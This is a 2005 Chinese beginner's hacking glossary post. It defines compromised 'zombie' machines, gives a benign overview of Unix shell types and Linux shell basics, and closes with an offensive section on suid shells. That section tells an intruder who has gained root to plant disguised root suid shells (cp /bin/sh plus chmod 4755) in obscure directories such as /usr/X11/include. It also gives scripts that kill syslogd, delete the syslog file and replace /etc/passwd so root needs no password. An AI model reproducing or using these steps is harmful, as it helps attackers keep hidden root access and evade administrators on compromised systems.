网络术语的解释(菜鸟必看3)

      菜鸟净化 2005-1-15 20:49
第七个:什么是肉鸡
肉鸡就是具有最高管理权限的远程电脑。简单的说就是受你控制的远程电脑。肉鸡可以是win、Unix/Linux……等各种系统;肉鸡可以是一家公司的服务器,一家网站的服务器,甚至是美国白宫或军方的电脑,只要你有这本事入侵并控制他,呵呵。莱鸟所说用的肉鸡一般是开了3389端口的Win2K系统的服务器。
要登陆肉鸡,必须知道3个参数:远程电脑的IP、用户名、密码。
什么是shell
操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。
  shell提供了你与操作系统之间通讯的方式。这种通讯可以以交互方式(从键盘输入,并且可以立即得到响应),或者以shell script(非交互)方式执行。shell script是放在文件中的一串shell和操作系统命令,它们可以被重复使用。本质上,shell script是命令行命令简单的组合到一个文件里面。
  Shell基本上是一个命令解释器,类似于DOS下的command.com。它接收用户命令(如ls等),然后调用相应的应用程序。较为通用的shell有标准的Bourne shell (sh)和C shell (csh)。

交互式shell和非交互式shell
交互式模式就是shell等待你的输入,并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当你签退后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式。在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。

shell的类型
在UNIX中主要有两大类shell
Bourne shell (包括 sh, ksh, and bash)
Bourne shell ( sh)
Korn shell ( ksh)
Bourne Again shell ( bash)
POSIX shell ( sh)
C shell (包括 csh and tcsh)
C shell ( csh)
TENEX/TOPS C shell ( tcsh)

Bourne Shell
最初的UNIX shell是由Stephen R. Bourne于20世纪70年代中期在新泽西的AT&T贝尔实验室编写的,这就是Bourne shell。Bourne shell 是一个交换式的命令解释器和命令编程语言。Bourne shell 可以运行为login shell或者login shell的子shell(subshell)。只有login命令可以调用Bourne shell作为一个login shell。此时,shell先读取/etc/profile文件和$HOME/.profile文件。/etc/profile文件为所有的用户定制环境,$HOME/.profile文件为本用户定制环境。最后,shell会等待读取你的输入。

C Shell
Bill Joy于20世纪80年代早期,在Berkeley的加利福尼亚大学开发了C shell。它主要是为了让用户更容易的使用交互式功能,并把ALGOL风格的语法结构变成了C语言风格。它新增了命令历史、别名、文件名替换、作业控制等功能。

Korn Shell
有很长一段时间,只有两类shell供人们选择,Bourne shell用来编程,C shell用来交互。为了改变这种状况,AT&T的bell实验室David Korn开发了Korn shell。ksh结合了所有的C shell的交互式特性,并融入了Bourne shell的语法。因此,Korn shell广受用户的欢迎。它还新增了数学计算,进程协作(coprocess)、行内编辑(inline editing)等功能。Korn Shell 是一个交互式的命令解释器和命令编程语言.它符合POSIX——一个操作系统的国际标准.POSIX不是一个操作系统,而是一个目标在于应用程序的移植性的标准——在源程序一级跨越多种平台。

Bourne Again Shell (bash)
bash是GNU计划的一部分,用来替代Bourne shell。它用于基于GNU的系统如Linux.大多数的Linux(Red Hat, Slackware, Caldera)都以bash作为缺省的shell,并且运行sh时,其实调用的是bash。

POSIX Shell
POSIX shell 是Korn shell的一个变种. 当前提供POSIX shell的最大卖主是Hewlett-Packard。在HP-UX 11.0 , POSIX shell 就是/bin/sh,而bsh是/usr/old/bin/sh.

各主要操作系统下缺省的shell:
AIX 下是Korn Shell.
Solaris和FreeBSD缺省的是Bourne shell.
HP-UX缺省的是POSIX shell.
Linux是Bourne Again shell.

【TIP】
#!/usr/bin/sh的用途
shell script的第一行一般都是#!/usr/bin/sh或#!/usr/bin/ksh等,它的用途就是指出本脚本是用的哪种shell写的,执行时系统应该用哪种shell来解释执行它。

附:LINUX系统的shell原理

  Linux系统的shell作为操作系统的外壳,为用户提供使用操作系统的接口。它是命令语言、命令解释程序及程序设计语言的统称。

  shell是用户和Linux内核之间的接口程序,如果把Linux内核想象成一个球体的中心,shell就是围绕内核的外层。当从shell或其他程序向Linux传递命令时,内核会做出相应的反应。   shell是一个命令语言解释器,它拥有自己内建的shell命令集,shell也能被系统中其他应用程序所调用。用户在提示符下输入的命令都由shell先解释然后传给Linux核心。

  有一些命令,比如改变工作目录命令cd,是包含在shell内部的。还有一些命令,例如拷贝命令cp和移动命令rm,是存在于文件系统中某个目录下的单独的程序。对用户而言,不必关心一个命令是建立在shell内部还是一个单独的程序。

  shell首先检查命令是否是内部命令,若不是再检查是否是一个应用程序(这里的应用程序可以是Linux本身的实用程序,如ls和rm,也可以是购买的商业程序,如xv,或者是自由软件,如emacs)。然后shell在搜索路径里寻找这些应用程序(搜索路径就是一个能找到可执行程序的目录列表)。如果键入的命令不是一个内部命令并且在路径里没有找到这个可执行文件,将会显示一条错误信息。如果能够成功找到命令,该内部命令或应用程序将被分解为系统调用并传给Linux内核。

  shell的另一个重要特性是它自身就是一个解释型的程序设计语言,shell程序设计语言支持绝大多数在高级语言中能见到的程序元素,如函数、变量、数组和程序控制结构。shell编程语言简单易学,任何在提示符中能键入的命令都能放到一个可执行的shell程序中。

  当普通用户成功登录,系统将执行一个称为shell的程序。正是shell进程提供了命令行提示符。作为默认值(TurboLinux系统默认的shell是BASH),对普通用户用“$”作提示符,对超级用户(root)用“#”作提示符。

  一旦出现了shell提示符,就可以键入命令名称及命令所需要的参数。shell将执行这些命令。如果一条命令花费了很长的时间来运行,或者在屏幕上产生了大量的输出,可以从键盘上按ctrl+c发出中断信号来中断它(在正常结束之前,中止它的执行)。

  当用户准备结束登录对话进程时,可以键入logout命令、exit命令或文件结束符(EOF)(按ctrl+d实现),结束登录。

  我们来实习一下shell是如何工作的。

  $ make work

  make:***No rule to make target ‘work’. Stop.

  $

  注释:make是系统中一个命令的名字,后面跟着命令参数。在接收到这个命令后,shell便执行它。本例中,由于输入的命令参数不正确,系统返回信息后停止该命令的执行。

  在例子中,shell会寻找名为make的程序,并以work为参数执行它。make是一个经常被用来编译大程序的程序,它以参数作为目标来进行编译。在“make work”中,make编译的目标是work。因为make找不到以work为名字的目标,它便给出错误信息表示运行失败,用户又回到系统提示符下。

  另外,用户键入有关命令行后,如果shell找不到以其中的命令名为名字的程序,就会给出错误信息。例如,如果用户键入:

  $ myprog

  bash:myprog:command not found

  $

  可以看到,用户得到了一个没有找到该命令的错误信息。用户敲错命令后,系统一般会给出这样的错误信息。
第八个:(2)什么是Suid Shell
(下面这些并不是所讲的基础范围,但与第八个有关,所以顺便介绍一下)
+++++++++================++++++++++
  Suid shell是一种可用于以拥有者权限运行的shell。也就是说,如果拥有者是root,那你就可能以root的身份执行命令。普通的shell文件属性为rwxr-xr-x,拥有者为root,root可读/写/执行这个shell,而其他用户则只能以自己的权限读和运行它。然而,如果有一个文件属性为rwsr-xr-x的shell,就可以获得文件拥有者权限;如果文件拥有者是root,那么任何运行了这个shell的用户便可以控制整个系统,如增加用户、修改root口令、清除日志等等。
为什么需要它?
   这是一个非常容易回答的问题。当通过某些方法进入系统后,如果系统管理员有一定的水平,会很快发现问题。通常他们会查看日志和修改root口令,你可能就要跟这个系统说再见了。这就是需要suid shell的原因 。:)


怎样才能得到suid shell呢?
   首先你要足够狡猾,这取决于你面对的是什么样的系统管理员。当你用尽一切方法,如猜口令、苦难root 、安全漏洞攻击等等,终于成功地取得了root权限,尽快找到一个几乎从未使用过的目录。无论如何,不要将suid shell放在你的主目录下。一个比较好的地方是/usr下的深层子目录,如/usr/X11/include/X11/。这个目录几乎不会有人进去的,而且很少会因存放过多文件而使系统管理员检查里面的文件。另外,suid shell的名字应该尽量与其它文件相似。例如,在这个目录下有sync.h、shape.h等文件,suid shell可以取part.h这种隐蔽性较好的名字。
   另一个比较好的地方是将suid shell与其它suid程序放置在一起,如/usr/sbin,并同样取一个隐蔽的名字。

  接着,就是在这些目录下创建suid shell了。如:

cp /bin/sh /usr/X11/include/X11/extensions/part.h
chmod 4755 /usr/X11/include/X11/extensions/part.h

   注意,为了使整个过程在最短的时间内完成,应该在进入系统前做好相应准备。最好在尝试攻击前仔细研究系统和计划。另外总是多创建几个suid shell,这样即使其中一个被发现了,仍然有通过使用其它suid shell控制系统的机会。


  如何利用suid shell呢?

  在许多系统中,往往限制用户所能使用的shell。这个只要检查一下/etc下的相应文件就能知道。在Linux系统中这个文件是/etc/shells,其中列出了所有的shell程序。但你可以用suid shell做任何事!例如,你准备将/etc/passwd改名为/etc/passwd.heh,编写如下脚本即可:

#!/usr/X11/include/X11/extensions/part.h

mv /etc/passwd /etc/passwd.heh
exit
(这只是个示例,最好别这样做:))
上面的例子好象只提供了一个非交互的程序,但只要精心编写脚本,同样可以实现虚拟的“交互”程序。

如果你仍然想真正得到可交互的访问,请阅读以下内容。

首先将/etc/passwd复制到主目录下,编辑它以删除root的加密口令。接着输入"ps ax|grep syslog'取得syslogd的进程号。现在以'interactive XX'(XX是syslogd的进程号)格式运行如下脚本:

#!/usr/X11/include/X11/extensions/part.h

kill -9
rm -f /var/adm/syslog
cp /etc/passwd /etc/passwd.OLD
cp ~backend/passwd /etc/passwd
chmod 644 /etc/passwd
exit

  现在可以无须口令就成为root了
  一旦完成所要做的”工作“后,记住运行如下脚本,替换回最初的口令文件。

#!/usr/X11/include/X11/extensions/part.h

cp /etc/passwd.OLD /etc/passwd
chmod 644 /etc/passwd
exit

下一步的工作就是擦PP了。:)
标签集:TAGS:
回复Comments() 点击Count()

回复Comments

{commentauthor}
{commentauthor}
{commenttime}
{commentnum}
{commentcontent}
作者:
{commentrecontent}